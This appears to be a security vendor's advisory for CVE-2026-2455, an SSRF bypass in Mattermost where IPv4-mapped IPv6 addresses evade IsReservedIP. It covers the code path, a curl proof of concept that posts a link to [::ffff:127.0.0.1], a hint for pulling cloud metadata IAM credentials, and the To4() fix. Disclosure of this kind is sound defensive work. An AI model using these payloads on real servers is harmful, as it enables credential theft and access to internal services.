← Findings
Mattermost2026CVE-2026-2455

SSRF bypass via IPv4-mapped IPv6 literals in IsReservedIP (CVE-2026-2455)

Summary

IPv4-mapped IPv6 addresses bypass SSRF protections allowing access to internal network resources

The IsReservedIP helper is responsible for blocking requests to internal addresses before Mattermost performs outbound HTTP(S) fetches (image proxy, link previews, marketplace, SAML metadata, etc.). The function iterates a list of IPv4-only CIDRs to decide whether an IP should be rejected. However, when an attacker supplies the address as an IPv4-mapped IPv6 literal (e.g. [::ffff:127.0.0.1]), Go hands the resolver a 128-bit IPv6 struct, so none of the IPv4 ranges match and the address is treated as public. dialContextFilter therefore allows the connection and Mattermost performs the request, enabling full SSRF into localhost, RFC1918 ranges and cloud metadata endpoints.

Go's net.IPNet.Contains intentionally differentiates between native IPv4 and IPv6 encodings, so simply adding IPv4 CIDRs is insufficient — the data must be canonicalized before comparison. The fix normalizes incoming IPs to their effective address family and adds regression tests.

CVSS

VectorNComplexityLPrivilegesNUser interactionNScopeUConfidentialityHIntegrityHAvailabilityL

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Source → Sink

Source

server/channels/app/post_metadata.go

Line 622 · getLinkMetadata()

Sink

server/public/shared/httpservice/client.go

Line 30 · IsReservedIP()

Attack surface

Any feature that relies on MakeClient(false) to automatically protect outbound HTTP(S) requests, including link previews, image proxy, marketplace, and SAML metadata fetches.

Preconditions

No authentication required. The attacker only needs the ability to post a message or trigger a server-side URL fetch with a crafted IPv4-mapped IPv6 URL.

Impact

Any feature that relies on MakeClient(false) becomes exposed. An unauthenticated user can post an image/link referencing http://[::ffff:127.0.0.1]:8065/api/v4/users or http://[::ffff:169.254.169.254]/latest/meta-data/ and trick the server into connecting to its own administrative interfaces or cloud metadata. This leaks authentication tokens, allows bypassing network ACLs and can be escalated to remote code execution depending on reachable services.

Exploit path

How the issue forms.

01server/channels/app/post_metadata.go:622

User-controlled content (post message, slash command) results in Mattermost attempting to fetch remote URLs for OpenGraph/image metadata. The URLs are attacker-controlled.

GO
images := model.ParseSlackLinksToMarkdown(response.EphemeralText)
02server/channels/app/post_metadata.go:758

Untrusted URL fetches use the default transport with allowIP protections.

GO
client := a.HTTPService().MakeClient(false)
03server/public/shared/httpservice/httpservice.go:88

The allowIP callback relies on IsReservedIP to reject internal addresses.

GO
allowIP := func(ip net.IP) error { reservedIP := IsReservedIP(ip) ... }
04server/public/shared/httpservice/client.go:31

IsReservedIP iterates IPv4-only CIDRs. When IP is IPv4-mapped IPv6, Contains never matches, so reservedIP stays false.

GO
if ipRange.Contains(ip) { return true }
05server/public/shared/httpservice/client.go:159

dialContextFilter ultimately connects to the attacker-specified internal resource because allowIP returned nil.

GO
conn, err := dial(ctx, network, net.JoinHostPort(ip.String(), port))

Proof of concept

Reproduction.

01

Environment

Requirements: Ubuntu 22.04 (any Linux/macOS works).

Install dependencies:

BASH
sudo apt update
sudo apt install -y git golang curl jq

Grab Mattermost source and build:

BASH
git clone https://github.com/mattermost/mattermost.git
cd mattermost
make build-server

Run server with defaults:

BASH
./bin/mattermost &
sleep 5
02

Configuration

Default config enables link previews and image proxy. No extra config needed. The HTTP service listens on http://localhost:8065.

03

Delivery

Craft a post containing an IPv4-mapped IPv6 URL pointing to localhost:

BASH
curl -i -X POST \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <user_token>' \
  http://localhost:8065/api/v4/posts \
  -d '{
    "channel_id": "<channel_id>",
    "message": "Check this out http://[::ffff:127.0.0.1]:8065/api/v4/system/ping"
  }'

Mattermost's server automatically fetches the URL to build OpenGraph metadata. Because IsReservedIP ignores IPv4-mapped literals, the request goes out.

Observe server log (logs/mattermost.log):

TEXT
... parseOpenGraphMetadata processing failed requestURL="http://[::ffff:127.0.0.1]:8065/api/v4/system/ping" err="..."

Replace the URL with cloud metadata (http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/) to retrieve credentials.

04

Outcome

By pointing at administrative endpoints or metadata services via IPv4-mapped IPv6 syntax, an unauthenticated attacker can read internal-only Mattermost APIs, fetch AWS/GCP metadata and obtain IAM credentials, and interact with listening services on 127.0.0.1 or RFC1918 addresses behind firewalls. This is a full SSRF bypass that destroys the trust boundary around MakeClient(false).

Remediation

The fix.

Canonicalize IP addresses before applying any reserved-range logic. This ensures IPv4-mapped/compatible IPv6 addresses are converted back to native IPv4 so existing CIDRs remain effective. The fix introduces a To4() canonicalization check in IsReservedIP and adds regression tests covering IPv4-mapped IPv6 payloads.

Before

TEXT
func IsReservedIP(ip net.IP) bool {
	for _, ipRange := range reservedIPRanges {
		if ipRange.Contains(ip) {
			return true
		}
	}
	return false
}

After

TEXT
func IsReservedIP(ip net.IP) bool {
	// Canonicalize IPv4-mapped IPv6 addresses (e.g., ::ffff:127.0.0.1) to their
	// native IPv4 form so that IPv4 CIDR ranges match correctly.
	if ip4 := ip.To4(); ip4 != nil {
		ip = ip4
	}
	for _, ipRange := range reservedIPRanges {
		if ipRange.Contains(ip) {
			return true
		}
	}
	return false
}

Continue

If this is the bar, see the product.

The archive is public. The product makes it repeatable.

View findings